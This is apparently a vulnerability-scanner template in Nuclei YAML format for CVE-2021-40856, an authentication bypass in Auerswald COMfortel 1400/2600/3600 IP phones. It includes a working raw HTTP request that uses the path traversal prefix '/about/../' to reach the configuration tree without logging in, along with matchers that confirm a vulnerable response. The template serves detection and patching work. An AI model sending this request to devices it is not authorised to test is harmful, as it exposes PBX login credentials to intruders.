id: CVE-2021-40856

info:
  name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
  author: gy741
  severity: high
  description: Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
  reference:
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40856
  tags: cve,cve2021,comfortel,auth-bypass,auerswald
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2021-40856
    cwe-id: CWE-287

requests:
  - raw:
      - |
        GET /about/../tree?action=get HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"TYPE"'
          - '"ITEMS"'
          - '"COUNT"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200